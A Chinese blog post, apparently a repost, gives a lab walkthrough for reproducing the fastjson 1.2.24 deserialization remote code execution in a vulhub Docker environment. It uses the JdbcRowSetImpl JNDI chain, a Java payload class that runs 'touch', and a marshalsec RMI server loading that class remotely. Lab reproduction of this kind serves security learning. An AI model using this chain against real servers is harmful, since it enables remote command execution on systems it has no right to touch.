标签:fastjson 24 java 1.2 序列化 com marshalsec
fastjson 1.2.24 反序列化导致任意命令执行漏洞
fastjson 1.2.24 反序列化导致任意命令执行漏洞
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
漏洞环境
我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可
git clone git://github.com/vulhub/vulhub.git cd vulhub/fastjson/1.2.24-rce/ docker-compose up -d
访问IP:8090即可看到JSON格式的输出。
影响版本
fastjson <=1.2.24
漏洞复现
因为目标环境是Java 8u102,没有
com.sun.jndi.rmi.object.trustURLCodebase
的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl
的利用链,借助JNDI注入来执行命令。首先编译并上传命令执行代码,代码如下
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/EDI"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
放在一个能访问到的服务器上,我这边是用python开了一个
然后使用marshalsec项目启动一个RMI服务监听9999端口,并制定加载远程类TouchFile.class
我们先下载marshalsec,这个为网址:https://github.com/mbechler/marshalsec
然后使用maven编译marshalsec成jar包,我们先进入下载的marshalsec文件中运行
mvn clean package -DskipTests
编译发现生成jar包
开启RMI服务
执行POC
python和RMI都监听到
去容器查看发现创建的EDI文件
这里给大家排点坑,有时候会发现所有操作都一样但就是不能执行命令成功,这个可能是java版本的问题
由于
jdk:8u102
,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase
的限制,所以我们复现尽量用jdk:8u102
或以下版本,不然会复现失败
标签:fastjson,24,java,1.2,序列化,com,marshalsec 来源: https://www.cnblogs.com/blankunbeaten/p/14800900.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。